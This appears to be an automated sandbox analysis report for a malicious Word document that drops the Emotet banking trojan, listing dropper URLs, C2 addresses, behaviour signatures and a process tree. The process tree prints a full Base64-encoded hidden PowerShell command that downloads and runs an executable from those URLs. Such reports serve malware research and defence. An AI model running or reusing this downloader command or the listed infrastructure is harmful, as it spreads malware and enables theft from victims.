Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    108s
  • resource
    win7v191014
  • submitted
    09-12-2019 14:55

Sharing

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General

  • Target

    Docs_9d7f3caa367ce2f658699461660b4254.25.doc

  • Sample

    191209-es8hmp8k9x

  • SHA256

    918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
exe.dropper

https://raasset.com/x/crHctWU/
exe.dropper

http://alexandrearealty.com/tmp/OyjFYg/
exe.dropper

http://mehuaedxb.com/css/qIkFIs/
exe.dropper

http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/

Extracted

Family

emotet

C2

24.27.122.202:80

67.171.182.231:80

190.171.135.235:80

103.9.145.19:8080

46.105.128.215:8080

172.105.213.30:80

69.30.205.162:7080

115.179.91.58:80

181.44.166.242:80

78.46.87.133:8080

81.213.145.45:443

83.156.88.159:80

210.111.160.220:80

195.191.107.67:80

192.241.220.183:8080

1.32.54.12:8080

192.161.190.171:8080

190.189.79.73:80

122.11.164.183:80

41.77.74.214:443
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 6 IoCs
  • Modifies registry class 136 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.25.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    PID:1908
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in System32 directory
    PID:1424
    • C:\Users\Admin\938.exe
      "C:\Users\Admin\938.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1104
      • C:\Users\Admin\938.exe
        --1d0cddc
        3⤵
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Drops file in System32 directory
        PID:1936
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-753189588-1433744804-486626420-1397814957-218450254-446217199561556025-1941111257"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1764
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
      PID:1892
    • C:\Windows\SysWOW64\chunkeracquire.exe
      "C:\Windows\SysWOW64\chunkeracquire.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1924
      • C:\Windows\SysWOW64\chunkeracquire.exe
        --bacad0ae
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Drops file in System32 directory
        PID:1404

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • C:\Users\Admin\938.exe
      Download Submit
    • C:\Users\Admin\938.exe
      Download Submit
    • C:\Users\Admin\938.exe
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    • C:\Windows\SysWOW64\chunkeracquire.exe
      Download Submit
    • C:\Windows\SysWOW64\chunkeracquire.exe
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    • memory/1104-8-0x00000000002A0000-0x00000000002B7000-memory.dmp
      Filesize

      92KB

      Download
    • memory/1404-15-0x0000000000260000-0x0000000000277000-memory.dmp
      Filesize

      92KB

      Download
    • memory/1404-16-0x0000000000400000-0x00000000004A2000-memory.dmp
      Filesize

      648KB

      Download
    • memory/1908-5-0x000000000672F000-0x0000000006733000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1908-4-0x000000000672F000-0x0000000006733000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1908-0-0x0000000006600000-0x0000000006604000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1908-3-0x0000000009040000-0x0000000009044000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1908-2-0x000000000672F000-0x0000000006733000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1908-1-0x0000000005AA1000-0x0000000005B92000-memory.dmp
      Filesize

      964KB

      Download
    • memory/1924-13-0x00000000003C0000-0x00000000003D7000-memory.dmp
      Filesize

      92KB

      Download
    • memory/1936-10-0x0000000000270000-0x0000000000287000-memory.dmp
      Filesize

      92KB

      Download
    • memory/1936-11-0x0000000000400000-0x00000000004A2000-memory.dmp
      Filesize

      648KB

      Download